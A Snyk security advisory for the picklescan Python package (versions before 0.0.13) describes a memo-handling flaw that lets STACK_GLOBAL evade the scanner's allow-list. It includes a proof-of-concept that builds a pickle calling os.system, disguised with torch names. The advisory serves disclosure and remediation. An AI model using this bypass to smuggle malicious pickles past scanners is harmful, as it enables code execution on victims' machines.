Deserialization of Untrusted Data Affecting picklescan package, versions [,0.0.13)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

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  • Snyk IDSNYK-PYTHON-PICKLESCAN-6146056
  • published8 Jan 2024
  • disclosed1 Jan 2024
  • creditGeorge-TL

Introduced: 1 Jan 2024

CVE NOT AVAILABLE CWE-502  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.13 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to improper argument verification when handling a memo, making it possible to have a different memo and use STACK_GLOBAL to bypass allow-list checking. Exploiting this vulnerability could lead to remote code execution.

PoC

import pickle, base64

pkl = b''.join([
    pickle.UNICODE + b'os\n',
    pickle.PUT + b'2\n',
    pickle.POP,
    pickle.UNICODE + b'system\n',
    pickle.PUT + b'3\n',
    pickle.POP,
    pickle.UNICODE + b'torch\n',
    pickle.PUT + b'0\n',
    pickle.POP,
    pickle.UNICODE + b'LongStorage\n',
    pickle.PUT + b'1\n',
    pickle.POP,

    pickle.GET + b'2\n',
    pickle.GET + b'3\n',
    pickle.STACK_GLOBAL,

    pickle.MARK,
    pickle.UNICODE + b'cat flag.txt\n',
    pickle.TUPLE,

    pickle.REDUCE
]) + b'.'
print(base64.b64encode(pkl).decode())

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

CVSS Base Scores

version 3.1